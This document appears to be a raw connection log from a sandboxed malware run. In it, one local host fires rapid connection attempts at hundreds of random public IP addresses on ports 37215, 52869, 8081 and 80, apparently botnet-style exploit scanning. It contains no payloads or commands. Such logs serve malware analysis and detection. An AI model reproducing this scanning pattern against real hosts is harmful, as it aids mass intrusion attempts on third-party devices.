Jul 20, 2024 23:10:38.112296104 CEST	58774	80	192.168.2.15	95.65.158.11
Jul 20, 2024 23:10:38.112296104 CEST	58774	80	192.168.2.15	95.240.4.197
Jul 20, 2024 23:10:38.112296104 CEST	58774	80	192.168.2.15	95.91.119.142
Jul 20, 2024 23:10:38.112296104 CEST	58774	80	192.168.2.15	95.177.203.131
Jul 20, 2024 23:10:38.112296104 CEST	58774	80	192.168.2.15	95.25.201.213
Jul 20, 2024 23:10:38.112296104 CEST	58774	80	192.168.2.15	95.65.42.117
Jul 20, 2024 23:10:38.115228891 CEST	58771	52869	192.168.2.15	64.204.121.4
Jul 20, 2024 23:10:38.115228891 CEST	58771	52869	192.168.2.15	120.101.16.173
Jul 20, 2024 23:10:38.115228891 CEST	58771	52869	192.168.2.15	53.146.219.201
Jul 20, 2024 23:10:38.115228891 CEST	58771	52869	192.168.2.15	18.61.121.155
Jul 20, 2024 23:10:38.115228891 CEST	58771	52869	192.168.2.15	171.3.37.13
Jul 20, 2024 23:10:38.115228891 CEST	58771	52869	192.168.2.15	60.130.9.138
Jul 20, 2024 23:10:38.115228891 CEST	58771	52869	192.168.2.15	123.164.96.81
Jul 20, 2024 23:10:38.115228891 CEST	58771	52869	192.168.2.15	157.79.203.21
Jul 20, 2024 23:10:38.115914106 CEST	58767	37215	192.168.2.15	197.159.151.175
Jul 20, 2024 23:10:38.115914106 CEST	58767	37215	192.168.2.15	157.51.246.64
Jul 20, 2024 23:10:38.115914106 CEST	58767	37215	192.168.2.15	41.189.53.206
Jul 20, 2024 23:10:38.115914106 CEST	58767	37215	192.168.2.15	41.49.237.223
Jul 20, 2024 23:10:38.115914106 CEST	58767	37215	192.168.2.15	41.138.208.109
Jul 20, 2024 23:10:38.115914106 CEST	58771	52869	192.168.2.15	145.189.107.35
Jul 20, 2024 23:10:38.115914106 CEST	58771	52869	192.168.2.15	199.17.188.143
Jul 20, 2024 23:10:38.115914106 CEST	58771	52869	192.168.2.15	222.73.130.122
Jul 20, 2024 23:10:38.116877079 CEST	58774	80	192.168.2.15	95.87.89.89
Jul 20, 2024 23:10:38.116877079 CEST	58774	80	192.168.2.15	95.181.217.178
Jul 20, 2024 23:10:38.117554903 CEST	58767	37215	192.168.2.15	157.161.230.226
Jul 20, 2024 23:10:38.117554903 CEST	58767	37215	192.168.2.15	41.129.130.16
Jul 20, 2024 23:10:38.117554903 CEST	58767	37215	192.168.2.15	197.66.185.226
Jul 20, 2024 23:10:38.117554903 CEST	58767	37215	192.168.2.15	41.204.94.246
Jul 20, 2024 23:10:38.117554903 CEST	58767	37215	192.168.2.15	197.231.206.182
Jul 20, 2024 23:10:38.117554903 CEST	58767	37215	192.168.2.15	41.94.197.84
Jul 20, 2024 23:10:38.117554903 CEST	58767	37215	192.168.2.15	197.88.176.144
Jul 20, 2024 23:10:38.117556095 CEST	58767	37215	192.168.2.15	157.154.39.246
Jul 20, 2024 23:10:38.118103027 CEST	58767	37215	192.168.2.15	157.199.148.18
Jul 20, 2024 23:10:38.118103027 CEST	58767	37215	192.168.2.15	197.197.219.110
Jul 20, 2024 23:10:38.118103027 CEST	58771	52869	192.168.2.15	202.248.4.126
Jul 20, 2024 23:10:38.118103027 CEST	58771	52869	192.168.2.15	221.105.238.53
Jul 20, 2024 23:10:38.118103027 CEST	58771	52869	192.168.2.15	146.23.236.91
Jul 20, 2024 23:10:38.118103027 CEST	58771	52869	192.168.2.15	120.46.79.130
Jul 20, 2024 23:10:38.118103027 CEST	58771	52869	192.168.2.15	34.61.162.3
Jul 20, 2024 23:10:38.118103027 CEST	58771	52869	192.168.2.15	45.30.252.109
Jul 20, 2024 23:10:38.119729996 CEST	58771	52869	192.168.2.15	186.109.38.233
Jul 20, 2024 23:10:38.119729996 CEST	58771	52869	192.168.2.15	109.63.83.179
Jul 20, 2024 23:10:38.119729996 CEST	58771	52869	192.168.2.15	46.185.111.180
Jul 20, 2024 23:10:38.119729996 CEST	58771	52869	192.168.2.15	39.203.149.241
Jul 20, 2024 23:10:38.119729996 CEST	58771	52869	192.168.2.15	168.146.45.76
Jul 20, 2024 23:10:38.119729996 CEST	58771	52869	192.168.2.15	63.69.190.13
Jul 20, 2024 23:10:38.119729996 CEST	58771	52869	192.168.2.15	156.16.96.10
Jul 20, 2024 23:10:38.119729996 CEST	58771	52869	192.168.2.15	46.235.120.15
Jul 20, 2024 23:10:38.120102882 CEST	58771	52869	192.168.2.15	135.62.27.208
Jul 20, 2024 23:10:38.120102882 CEST	58771	52869	192.168.2.15	93.142.32.35
Jul 20, 2024 23:10:38.120102882 CEST	58771	52869	192.168.2.15	53.41.83.235
Jul 20, 2024 23:10:38.120102882 CEST	58771	52869	192.168.2.15	115.85.32.240
Jul 20, 2024 23:10:38.120102882 CEST	58771	52869	192.168.2.15	71.24.91.154
Jul 20, 2024 23:10:38.120102882 CEST	58771	52869	192.168.2.15	20.139.112.241
Jul 20, 2024 23:10:38.120102882 CEST	58771	52869	192.168.2.15	115.148.35.210
Jul 20, 2024 23:10:38.120102882 CEST	58771	52869	192.168.2.15	159.200.130.100
Jul 20, 2024 23:10:38.121205091 CEST	58767	37215	192.168.2.15	197.93.73.128
Jul 20, 2024 23:10:38.121205091 CEST	58767	37215	192.168.2.15	157.117.101.81
Jul 20, 2024 23:10:38.121205091 CEST	58767	37215	192.168.2.15	157.229.231.90
Jul 20, 2024 23:10:38.121205091 CEST	58767	37215	192.168.2.15	100.138.95.213
Jul 20, 2024 23:10:38.121205091 CEST	58771	52869	192.168.2.15	110.247.124.243
Jul 20, 2024 23:10:38.121205091 CEST	58771	52869	192.168.2.15	194.195.41.145
Jul 20, 2024 23:10:38.121205091 CEST	58771	52869	192.168.2.15	79.220.66.248
Jul 20, 2024 23:10:38.121205091 CEST	58771	52869	192.168.2.15	39.169.203.78
Jul 20, 2024 23:10:38.122148991 CEST	58771	52869	192.168.2.15	208.198.234.248
Jul 20, 2024 23:10:38.122148991 CEST	58771	52869	192.168.2.15	177.228.55.128
Jul 20, 2024 23:10:38.122148991 CEST	58768	8081	192.168.2.15	164.113.68.105
Jul 20, 2024 23:10:38.122148991 CEST	58771	52869	192.168.2.15	162.247.160.63
Jul 20, 2024 23:10:38.122148991 CEST	58771	52869	192.168.2.15	166.13.121.235
Jul 20, 2024 23:10:38.122148991 CEST	58771	52869	192.168.2.15	122.56.234.56
Jul 20, 2024 23:10:38.122148991 CEST	58771	52869	192.168.2.15	41.126.80.125
Jul 20, 2024 23:10:38.122148991 CEST	58774	80	192.168.2.15	95.81.205.168
Jul 20, 2024 23:10:38.122461081 CEST	58771	52869	192.168.2.15	105.216.91.123
Jul 20, 2024 23:10:38.122461081 CEST	58771	52869	192.168.2.15	32.147.116.166
Jul 20, 2024 23:10:38.122461081 CEST	58771	52869	192.168.2.15	44.115.246.238
Jul 20, 2024 23:10:38.122461081 CEST	58771	52869	192.168.2.15	179.181.30.238
Jul 20, 2024 23:10:38.122461081 CEST	58771	52869	192.168.2.15	176.240.112.229
Jul 20, 2024 23:10:38.122461081 CEST	58771	52869	192.168.2.15	54.150.199.220
Jul 20, 2024 23:10:38.122461081 CEST	58771	52869	192.168.2.15	53.39.9.32
Jul 20, 2024 23:10:38.122461081 CEST	58771	52869	192.168.2.15	187.215.50.196
Jul 20, 2024 23:10:38.122988939 CEST	58771	52869	192.168.2.15	88.246.103.67
Jul 20, 2024 23:10:38.122988939 CEST	58771	52869	192.168.2.15	158.10.37.180
Jul 20, 2024 23:10:38.122988939 CEST	58771	52869	192.168.2.15	131.155.204.122
Jul 20, 2024 23:10:38.122988939 CEST	58771	52869	192.168.2.15	212.100.223.238
Jul 20, 2024 23:10:38.122988939 CEST	58771	52869	192.168.2.15	37.92.132.79
Jul 20, 2024 23:10:38.122988939 CEST	58771	52869	192.168.2.15	187.195.109.17
Jul 20, 2024 23:10:38.122988939 CEST	58771	52869	192.168.2.15	2.153.37.41
Jul 20, 2024 23:10:38.122988939 CEST	58771	52869	192.168.2.15	69.101.27.172
Jul 20, 2024 23:10:38.123255968 CEST	58771	52869	192.168.2.15	187.115.67.191
Jul 20, 2024 23:10:38.123255968 CEST	58771	52869	192.168.2.15	145.15.218.104
Jul 20, 2024 23:10:38.123255968 CEST	58771	52869	192.168.2.15	164.234.124.91
Jul 20, 2024 23:10:38.123255968 CEST	58771	52869	192.168.2.15	182.100.29.31
Jul 20, 2024 23:10:38.123255968 CEST	58771	52869	192.168.2.15	192.0.85.114
Jul 20, 2024 23:10:38.123255968 CEST	58771	52869	192.168.2.15	69.129.149.170
Jul 20, 2024 23:10:38.123255968 CEST	58771	52869	192.168.2.15	141.245.42.84
Jul 20, 2024 23:10:38.123255968 CEST	58771	52869	192.168.2.15	170.218.93.54
Jul 20, 2024 23:10:38.124943972 CEST	58771	52869	192.168.2.15	167.252.38.240
Jul 20, 2024 23:10:38.124943972 CEST	58771	52869	192.168.2.15	189.205.131.211
Jul 20, 2024 23:10:38.124943972 CEST	58768	8081	192.168.2.15	139.183.85.37
Jul 20, 2024 23:10:38.124943972 CEST	58771	52869	192.168.2.15	151.51.206.33
Jul 20, 2024 23:10:38.124943972 CEST	58771	52869	192.168.2.15	204.86.28.228
Jul 20, 2024 23:10:38.124943972 CEST	58771	52869	192.168.2.15	212.192.65.223
Jul 20, 2024 23:10:38.124943972 CEST	58771	52869	192.168.2.15	201.222.116.89
Jul 20, 2024 23:10:38.124943972 CEST	58771	52869	192.168.2.15	171.231.108.7
Jul 20, 2024 23:10:38.125916004 CEST	58771	52869	192.168.2.15	205.172.146.238
Jul 20, 2024 23:10:38.125916004 CEST	58771	52869	192.168.2.15	207.30.234.132
Jul 20, 2024 23:10:38.125916004 CEST	58771	52869	192.168.2.15	197.151.108.45
Jul 20, 2024 23:10:38.125916004 CEST	58771	52869	192.168.2.15	134.87.36.187
Jul 20, 2024 23:10:38.125916004 CEST	58771	52869	192.168.2.15	162.225.116.179
Jul 20, 2024 23:10:38.125916004 CEST	58768	8081	192.168.2.15	163.160.69.40
Jul 20, 2024 23:10:38.125916004 CEST	58771	52869	192.168.2.15	139.108.113.148
Jul 20, 2024 23:10:38.125916004 CEST	58771	52869	192.168.2.15	200.241.17.180
Jul 20, 2024 23:10:38.126003981 CEST	58771	52869	192.168.2.15	107.193.98.191
Jul 20, 2024 23:10:38.126003981 CEST	58771	52869	192.168.2.15	88.122.239.133
Jul 20, 2024 23:10:38.126003981 CEST	58771	52869	192.168.2.15	207.117.214.39
Jul 20, 2024 23:10:38.126003981 CEST	58771	52869	192.168.2.15	120.118.15.149
Jul 20, 2024 23:10:38.126003981 CEST	58771	52869	192.168.2.15	48.124.156.179
Jul 20, 2024 23:10:38.126003981 CEST	58774	80	192.168.2.15	95.255.251.238
Jul 20, 2024 23:10:38.126003981 CEST	58771	52869	192.168.2.15	130.150.212.138
Jul 20, 2024 23:10:38.126003981 CEST	58771	52869	192.168.2.15	206.241.149.22
Jul 20, 2024 23:10:38.126712084 CEST	58771	52869	192.168.2.15	148.199.123.192
Jul 20, 2024 23:10:38.126712084 CEST	58771	52869	192.168.2.15	80.81.48.137
Jul 20, 2024 23:10:38.126712084 CEST	58771	52869	192.168.2.15	159.33.176.180
Jul 20, 2024 23:10:38.126712084 CEST	58768	8081	192.168.2.15	197.89.107.180
Jul 20, 2024 23:10:38.126712084 CEST	58771	52869	192.168.2.15	87.222.112.188
Jul 20, 2024 23:10:38.126712084 CEST	58771	52869	192.168.2.15	129.32.201.22
Jul 20, 2024 23:10:38.126712084 CEST	58771	52869	192.168.2.15	212.212.170.58
Jul 20, 2024 23:10:38.127753973 CEST	58771	52869	192.168.2.15	36.88.191.195
Jul 20, 2024 23:10:38.127753973 CEST	58774	80	192.168.2.15	95.102.164.122
Jul 20, 2024 23:10:38.127753973 CEST	58768	8081	192.168.2.15	35.249.50.60
Jul 20, 2024 23:10:38.127753973 CEST	58771	52869	192.168.2.15	172.159.6.166
Jul 20, 2024 23:10:38.127753973 CEST	58771	52869	192.168.2.15	207.255.252.48
Jul 20, 2024 23:10:38.127753973 CEST	58771	52869	192.168.2.15	129.172.253.21
Jul 20, 2024 23:10:38.127753973 CEST	58768	8081	192.168.2.15	23.77.231.157
Jul 20, 2024 23:10:38.127753973 CEST	58771	52869	192.168.2.15	202.60.177.77
Jul 20, 2024 23:10:38.127841949 CEST	58771	52869	192.168.2.15	152.83.179.235
Jul 20, 2024 23:10:38.127841949 CEST	58771	52869	192.168.2.15	51.142.241.249
Jul 20, 2024 23:10:38.127841949 CEST	58771	52869	192.168.2.15	89.125.200.172
Jul 20, 2024 23:10:38.127841949 CEST	58771	52869	192.168.2.15	58.62.230.225
Jul 20, 2024 23:10:38.127841949 CEST	58771	52869	192.168.2.15	75.75.101.226
Jul 20, 2024 23:10:38.127841949 CEST	39574	52869	192.168.2.15	112.183.31.205
Jul 20, 2024 23:10:38.127841949 CEST	58771	52869	192.168.2.15	9.84.151.216
Jul 20, 2024 23:10:38.127841949 CEST	58768	8081	192.168.2.15	154.0.251.171
Jul 20, 2024 23:10:38.128783941 CEST	58771	52869	192.168.2.15	4.38.11.211
Jul 20, 2024 23:10:38.128783941 CEST	58771	52869	192.168.2.15	141.95.91.69
Jul 20, 2024 23:10:38.128783941 CEST	58771	52869	192.168.2.15	217.68.79.254
Jul 20, 2024 23:10:38.128783941 CEST	58771	52869	192.168.2.15	151.89.245.56
Jul 20, 2024 23:10:38.128783941 CEST	58771	52869	192.168.2.15	72.81.127.114
Jul 20, 2024 23:10:38.128783941 CEST	58771	52869	192.168.2.15	189.124.255.91
Jul 20, 2024 23:10:38.128783941 CEST	58768	8081	192.168.2.15	27.136.30.187
Jul 20, 2024 23:10:38.128783941 CEST	58768	8081	192.168.2.15	207.213.111.37
Jul 20, 2024 23:10:38.129429102 CEST	58771	52869	192.168.2.15	211.248.122.147
Jul 20, 2024 23:10:38.129429102 CEST	58771	52869	192.168.2.15	193.84.40.196
Jul 20, 2024 23:10:38.129429102 CEST	58771	52869	192.168.2.15	94.61.246.148
Jul 20, 2024 23:10:38.129429102 CEST	58771	52869	192.168.2.15	137.181.116.99
Jul 20, 2024 23:10:38.129429102 CEST	58771	52869	192.168.2.15	130.144.227.95
Jul 20, 2024 23:10:38.129429102 CEST	58771	52869	192.168.2.15	82.236.164.44
Jul 20, 2024 23:10:38.129429102 CEST	58768	8081	192.168.2.15	5.236.201.195
Jul 20, 2024 23:10:38.129429102 CEST	58774	80	192.168.2.15	95.23.237.213
Jul 20, 2024 23:10:38.130942106 CEST	58774	80	192.168.2.15	95.218.122.224
Jul 20, 2024 23:10:38.130942106 CEST	58768	8081	192.168.2.15	202.15.22.47
Jul 20, 2024 23:10:38.130942106 CEST	58771	52869	192.168.2.15	155.153.195.30
Jul 20, 2024 23:10:38.130942106 CEST	58771	52869	192.168.2.15	17.207.214.157
Jul 20, 2024 23:10:38.130942106 CEST	58771	52869	192.168.2.15	36.244.207.28
Jul 20, 2024 23:10:38.130942106 CEST	58774	80	192.168.2.15	95.34.220.161
Jul 20, 2024 23:10:38.130942106 CEST	58771	52869	192.168.2.15	221.87.145.67
Jul 20, 2024 23:10:38.130942106 CEST	58771	52869	192.168.2.15	35.147.46.73
Jul 20, 2024 23:10:38.131228924 CEST	58771	52869	192.168.2.15	146.21.26.221
Jul 20, 2024 23:10:38.131228924 CEST	58768	8081	192.168.2.15	178.180.81.2
Jul 20, 2024 23:10:38.131228924 CEST	58771	52869	192.168.2.15	32.103.58.2
Jul 20, 2024 23:10:38.131228924 CEST	58771	52869	192.168.2.15	181.104.210.179
Jul 20, 2024 23:10:38.131228924 CEST	58771	52869	192.168.2.15	190.188.31.68
Jul 20, 2024 23:10:38.131228924 CEST	58771	52869	192.168.2.15	171.252.174.113
Jul 20, 2024 23:10:38.131228924 CEST	58771	52869	192.168.2.15	68.135.152.100
Jul 20, 2024 23:10:38.131228924 CEST	58771	52869	192.168.2.15	103.3.80.181
Jul 20, 2024 23:10:38.131236076 CEST	58771	52869	192.168.2.15	212.138.26.228
Jul 20, 2024 23:10:38.131236076 CEST	58768	8081	192.168.2.15	58.191.33.106
Jul 20, 2024 23:10:38.131236076 CEST	58771	52869	192.168.2.15	124.214.122.143
Jul 20, 2024 23:10:38.131236076 CEST	58771	52869	192.168.2.15	113.71.202.232
Jul 20, 2024 23:10:38.131236076 CEST	58771	52869	192.168.2.15	100.146.176.21
Jul 20, 2024 23:10:38.131236076 CEST	58768	8081	192.168.2.15	188.151.70.25
Jul 20, 2024 23:10:38.131236076 CEST	58768	8081	192.168.2.15	151.249.233.168
Jul 20, 2024 23:10:38.131236076 CEST	58768	8081	192.168.2.15	167.119.104.95
Jul 20, 2024 23:10:38.132913113 CEST	58771	52869	192.168.2.15	31.86.54.207
Jul 20, 2024 23:10:38.132913113 CEST	58771	52869	192.168.2.15	137.252.149.152
Jul 20, 2024 23:10:38.132913113 CEST	58774	80	192.168.2.15	95.228.34.215
Jul 20, 2024 23:10:38.132913113 CEST	58771	52869	192.168.2.15	164.116.121.251
Jul 20, 2024 23:10:38.132913113 CEST	58771	52869	192.168.2.15	140.11.62.100
Jul 20, 2024 23:10:38.132913113 CEST	58771	52869	192.168.2.15	76.13.239.242
Jul 20, 2024 23:10:38.132913113 CEST	58771	52869	192.168.2.15	47.178.82.83
Jul 20, 2024 23:10:38.132913113 CEST	58771	52869	192.168.2.15	80.227.166.108
Jul 20, 2024 23:10:38.133200884 CEST	58771	52869	192.168.2.15	69.107.137.235
Jul 20, 2024 23:10:38.133200884 CEST	58768	8081	192.168.2.15	123.114.66.211
Jul 20, 2024 23:10:38.133200884 CEST	58771	52869	192.168.2.15	197.203.158.81
Jul 20, 2024 23:10:38.133200884 CEST	58768	8081	192.168.2.15	77.72.128.161
Jul 20, 2024 23:10:38.133200884 CEST	58771	52869	192.168.2.15	83.83.236.240
Jul 20, 2024 23:10:38.133200884 CEST	58771	52869	192.168.2.15	93.191.225.165
Jul 20, 2024 23:10:38.133200884 CEST	58771	52869	192.168.2.15	206.206.53.42
Jul 20, 2024 23:10:38.133200884 CEST	58771	52869	192.168.2.15	92.124.10.135
Jul 20, 2024 23:10:38.134793043 CEST	58771	52869	192.168.2.15	118.54.166.85
Jul 20, 2024 23:10:38.134793043 CEST	58768	8081	192.168.2.15	196.100.194.107
Jul 20, 2024 23:10:38.134793043 CEST	58768	8081	192.168.2.15	201.76.89.19
Jul 20, 2024 23:10:38.134793043 CEST	58774	80	192.168.2.15	95.140.80.153
Jul 20, 2024 23:10:38.134793043 CEST	58768	8081	192.168.2.15	178.143.162.12
Jul 20, 2024 23:10:38.134793043 CEST	58768	8081	192.168.2.15	77.125.4.254
Jul 20, 2024 23:10:38.134793043 CEST	58768	8081	192.168.2.15	220.50.177.20
Jul 20, 2024 23:10:38.134793043 CEST	58774	80	192.168.2.15	95.74.169.22
Jul 20, 2024 23:10:38.134879112 CEST	58768	8081	192.168.2.15	37.37.110.152
Jul 20, 2024 23:10:38.134879112 CEST	58771	52869	192.168.2.15	81.47.30.117
Jul 20, 2024 23:10:38.134880066 CEST	58771	52869	192.168.2.15	58.26.123.78
Jul 20, 2024 23:10:38.134880066 CEST	58771	52869	192.168.2.15	193.96.128.134
Jul 20, 2024 23:10:38.134880066 CEST	58771	52869	192.168.2.15	113.194.192.53
Jul 20, 2024 23:10:38.134880066 CEST	58771	52869	192.168.2.15	184.57.25.100
Jul 20, 2024 23:10:38.134880066 CEST	58771	52869	192.168.2.15	78.210.211.43
Jul 20, 2024 23:10:38.134880066 CEST	58771	52869	192.168.2.15	159.217.41.116
Jul 20, 2024 23:10:38.135076046 CEST	58774	80	192.168.2.15	95.255.5.198
Jul 20, 2024 23:10:38.135076046 CEST	58771	52869	192.168.2.15	205.34.106.177
Jul 20, 2024 23:10:38.135076046 CEST	58774	80	192.168.2.15	95.40.133.140
Jul 20, 2024 23:10:38.135076046 CEST	58771	52869	192.168.2.15	175.170.14.232
Jul 20, 2024 23:10:38.135076046 CEST	58771	52869	192.168.2.15	137.50.154.194
Jul 20, 2024 23:10:38.135076046 CEST	58771	52869	192.168.2.15	114.22.68.148
Jul 20, 2024 23:10:38.135076046 CEST	58771	52869	192.168.2.15	84.223.0.239
Jul 20, 2024 23:10:38.135076046 CEST	58768	8081	192.168.2.15	209.188.20.228
Jul 20, 2024 23:10:38.135689974 CEST	58771	52869	192.168.2.15	165.66.142.184
Jul 20, 2024 23:10:38.135689974 CEST	58768	8081	192.168.2.15	128.105.18.127
Jul 20, 2024 23:10:38.135689974 CEST	58771	52869	192.168.2.15	36.73.180.242
Jul 20, 2024 23:10:38.135689974 CEST	58771	52869	192.168.2.15	141.82.149.128
Jul 20, 2024 23:10:38.135689974 CEST	58768	8081	192.168.2.15	134.164.6.159
Jul 20, 2024 23:10:38.135689974 CEST	58771	52869	192.168.2.15	188.164.181.53
Jul 20, 2024 23:10:38.135689974 CEST	58771	52869	192.168.2.15	186.33.46.27
Jul 20, 2024 23:10:38.135689974 CEST	58768	8081	192.168.2.15	92.131.124.215
Jul 20, 2024 23:10:38.136648893 CEST	58771	52869	192.168.2.15	23.25.24.120
Jul 20, 2024 23:10:38.136650085 CEST	58771	52869	192.168.2.15	117.1.139.113
Jul 20, 2024 23:10:38.136650085 CEST	58771	52869	192.168.2.15	40.135.168.5
Jul 20, 2024 23:10:38.136650085 CEST	58771	52869	192.168.2.15	32.234.228.218
Jul 20, 2024 23:10:38.136650085 CEST	58768	8081	192.168.2.15	1.165.182.79
Jul 20, 2024 23:10:38.136650085 CEST	58771	52869	192.168.2.15	196.201.138.235
Jul 20, 2024 23:10:38.136650085 CEST	58771	52869	192.168.2.15	207.221.156.23
Jul 20, 2024 23:10:38.136650085 CEST	58771	52869	192.168.2.15	48.6.82.187
Jul 20, 2024 23:10:38.137635946 CEST	58774	80	192.168.2.15	95.137.218.88
Jul 20, 2024 23:10:38.137635946 CEST	58774	80	192.168.2.15	95.127.212.196
Jul 20, 2024 23:10:38.137635946 CEST	58774	80	192.168.2.15	95.18.182.110
Jul 20, 2024 23:10:38.137635946 CEST	58774	80	192.168.2.15	95.84.13.204
Jul 20, 2024 23:10:38.137635946 CEST	58774	80	192.168.2.15	95.81.63.102
Jul 20, 2024 23:10:38.137635946 CEST	58774	80	192.168.2.15	95.213.64.154
Jul 20, 2024 23:10:38.137636900 CEST	58774	80	192.168.2.15	95.6.228.38
Jul 20, 2024 23:10:38.137636900 CEST	58774	80	192.168.2.15	95.136.129.142
Jul 20, 2024 23:10:38.137821913 CEST	58771	52869	192.168.2.15	17.216.149.19
Jul 20, 2024 23:10:38.137821913 CEST	58774	80	192.168.2.15	95.176.2.206
Jul 20, 2024 23:10:38.137821913 CEST	58771	52869	192.168.2.15	152.73.181.59
Jul 20, 2024 23:10:38.137821913 CEST	58771	52869	192.168.2.15	195.69.176.100
Jul 20, 2024 23:10:38.137823105 CEST	58771	52869	192.168.2.15	125.75.216.186
Jul 20, 2024 23:10:38.137823105 CEST	58771	52869	192.168.2.15	186.63.232.221
Jul 20, 2024 23:10:38.137823105 CEST	58771	52869	192.168.2.15	73.27.52.96
Jul 20, 2024 23:10:38.137823105 CEST	58771	52869	192.168.2.15	146.216.92.73
Jul 20, 2024 23:10:38.138979912 CEST	58771	52869	192.168.2.15	54.58.215.49
Jul 20, 2024 23:10:38.138979912 CEST	58768	8081	192.168.2.15	12.184.69.157
Jul 20, 2024 23:10:38.138981104 CEST	58771	52869	192.168.2.15	95.119.25.77
Jul 20, 2024 23:10:38.138981104 CEST	58768	8081	192.168.2.15	31.126.210.103
Jul 20, 2024 23:10:38.138981104 CEST	58774	80	192.168.2.15	95.111.105.192
Jul 20, 2024 23:10:38.138981104 CEST	58771	52869	192.168.2.15	181.167.10.18
Jul 20, 2024 23:10:38.138981104 CEST	58771	52869	192.168.2.15	119.161.150.195
Jul 20, 2024 23:10:38.138981104 CEST	58771	52869	192.168.2.15	14.77.95.139
Jul 20, 2024 23:10:38.139390945 CEST	58771	52869	192.168.2.15	45.23.212.169
Jul 20, 2024 23:10:38.139390945 CEST	58771	52869	192.168.2.15	167.56.218.101
Jul 20, 2024 23:10:38.139390945 CEST	58771	52869	192.168.2.15	211.31.20.64
Jul 20, 2024 23:10:38.139390945 CEST	58768	8081	192.168.2.15	8.97.99.44
Jul 20, 2024 23:10:38.139390945 CEST	58771	52869	192.168.2.15	83.119.48.230
Jul 20, 2024 23:10:38.139390945 CEST	58771	52869	192.168.2.15	35.177.241.68
Jul 20, 2024 23:10:38.139390945 CEST	58771	52869	192.168.2.15	163.143.231.68
Jul 20, 2024 23:10:38.139390945 CEST	58771	52869	192.168.2.15	87.200.167.49
Jul 20, 2024 23:10:38.139748096 CEST	58768	8081	192.168.2.15	166.196.119.74
Jul 20, 2024 23:10:38.139748096 CEST	58771	52869	192.168.2.15	184.25.222.95
Jul 20, 2024 23:10:38.139748096 CEST	58768	8081	192.168.2.15	110.252.170.23
Jul 20, 2024 23:10:38.139748096 CEST	38056	37215	192.168.2.15	157.113.132.47
Jul 20, 2024 23:10:38.139748096 CEST	58771	52869	192.168.2.15	118.123.223.170
Jul 20, 2024 23:10:38.139748096 CEST	58768	8081	192.168.2.15	134.133.53.230
Jul 20, 2024 23:10:38.139748096 CEST	58774	80	192.168.2.15	95.29.248.38
Jul 20, 2024 23:10:38.139748096 CEST	58768	8081	192.168.2.15	165.246.67.86
Jul 20, 2024 23:10:38.140192032 CEST	58771	52869	192.168.2.15	220.191.177.7
Jul 20, 2024 23:10:38.140192032 CEST	58771	52869	192.168.2.15	171.231.168.29
Jul 20, 2024 23:10:38.140192986 CEST	58771	52869	192.168.2.15	42.199.77.211
Jul 20, 2024 23:10:38.140192986 CEST	58771	52869	192.168.2.15	157.64.60.160
Jul 20, 2024 23:10:38.140192986 CEST	58768	8081	192.168.2.15	93.70.33.186
Jul 20, 2024 23:10:38.140192986 CEST	58771	52869	192.168.2.15	181.94.205.45
Jul 20, 2024 23:10:38.140192986 CEST	58771	52869	192.168.2.15	44.63.80.106
Jul 20, 2024 23:10:38.140192986 CEST	58771	52869	192.168.2.15	104.219.113.114
Jul 20, 2024 23:10:38.141999960 CEST	58768	8081	192.168.2.15	197.232.27.44
Jul 20, 2024 23:10:38.142000914 CEST	58771	52869	192.168.2.15	223.99.118.119
Jul 20, 2024 23:10:38.142000914 CEST	58771	52869	192.168.2.15	75.206.67.83
Jul 20, 2024 23:10:38.142000914 CEST	58768	8081	192.168.2.15	72.221.2.74
Jul 20, 2024 23:10:38.142000914 CEST	58771	52869	192.168.2.15	69.162.114.57
Jul 20, 2024 23:10:38.142000914 CEST	58771	52869	192.168.2.15	121.208.247.54
Jul 20, 2024 23:10:38.142000914 CEST	58771	52869	192.168.2.15	64.48.135.137
Jul 20, 2024 23:10:38.142000914 CEST	58768	8081	192.168.2.15	223.254.115.248
Jul 20, 2024 23:10:38.142591000 CEST	58771	52869	192.168.2.15	37.137.191.169
Jul 20, 2024 23:10:38.142591000 CEST	58774	80	192.168.2.15	95.135.5.61
Jul 20, 2024 23:10:38.142591000 CEST	58771	52869	192.168.2.15	72.158.132.179
Jul 20, 2024 23:10:38.142591000 CEST	58768	8081	192.168.2.15	60.34.129.154
Jul 20, 2024 23:10:38.142591000 CEST	58774	80	192.168.2.15	95.199.228.162
Jul 20, 2024 23:10:38.142591000 CEST	58774	80	192.168.2.15	95.150.237.219
Jul 20, 2024 23:10:38.142591000 CEST	58774	80	192.168.2.15	95.152.83.1
Jul 20, 2024 23:10:38.142591000 CEST	58774	80	192.168.2.15	95.89.166.132
Jul 20, 2024 23:10:38.142661095 CEST	58768	8081	192.168.2.15	151.151.7.19
Jul 20, 2024 23:10:38.142661095 CEST	58768	8081	192.168.2.15	131.114.91.37
Jul 20, 2024 23:10:38.142661095 CEST	58768	8081	192.168.2.15	97.51.32.192
Jul 20, 2024 23:10:38.142661095 CEST	58768	8081	192.168.2.15	205.102.152.118
Jul 20, 2024 23:10:38.142661095 CEST	58768	8081	192.168.2.15	146.89.0.197
Jul 20, 2024 23:10:38.142661095 CEST	58768	8081	192.168.2.15	126.167.160.86
Jul 20, 2024 23:10:38.142661095 CEST	58768	8081	192.168.2.15	104.119.162.84
Jul 20, 2024 23:10:38.142661095 CEST	58774	80	192.168.2.15	95.41.189.152
Jul 20, 2024 23:10:38.143198013 CEST	58774	80	192.168.2.15	95.47.167.67
Jul 20, 2024 23:10:38.143198013 CEST	58774	80	192.168.2.15	95.67.168.175
Jul 20, 2024 23:10:38.143515110 CEST	58771	52869	192.168.2.15	62.195.96.7
Jul 20, 2024 23:10:38.143515110 CEST	58771	52869	192.168.2.15	185.183.75.243
Jul 20, 2024 23:10:38.143515110 CEST	58771	52869	192.168.2.15	211.246.19.85
Jul 20, 2024 23:10:38.143515110 CEST	58771	52869	192.168.2.15	14.180.187.102
Jul 20, 2024 23:10:38.143516064 CEST	58771	52869	192.168.2.15	183.243.215.69
Jul 20, 2024 23:10:38.143516064 CEST	58768	8081	192.168.2.15	223.128.62.173
Jul 20, 2024 23:10:38.143516064 CEST	58768	8081	192.168.2.15	158.157.180.226
Jul 20, 2024 23:10:38.143516064 CEST	58774	80	192.168.2.15	95.200.239.191
Jul 20, 2024 23:10:38.144172907 CEST	58774	80	192.168.2.15	95.237.27.40
Jul 20, 2024 23:10:38.144172907 CEST	58774	80	192.168.2.15	95.152.160.194
Jul 20, 2024 23:10:38.144172907 CEST	58774	80	192.168.2.15	95.249.234.201
Jul 20, 2024 23:10:38.144172907 CEST	58774	80	192.168.2.15	95.100.108.130
Jul 20, 2024 23:10:38.144172907 CEST	58774	80	192.168.2.15	95.63.243.177
Jul 20, 2024 23:10:38.144172907 CEST	58774	80	192.168.2.15	95.200.230.117
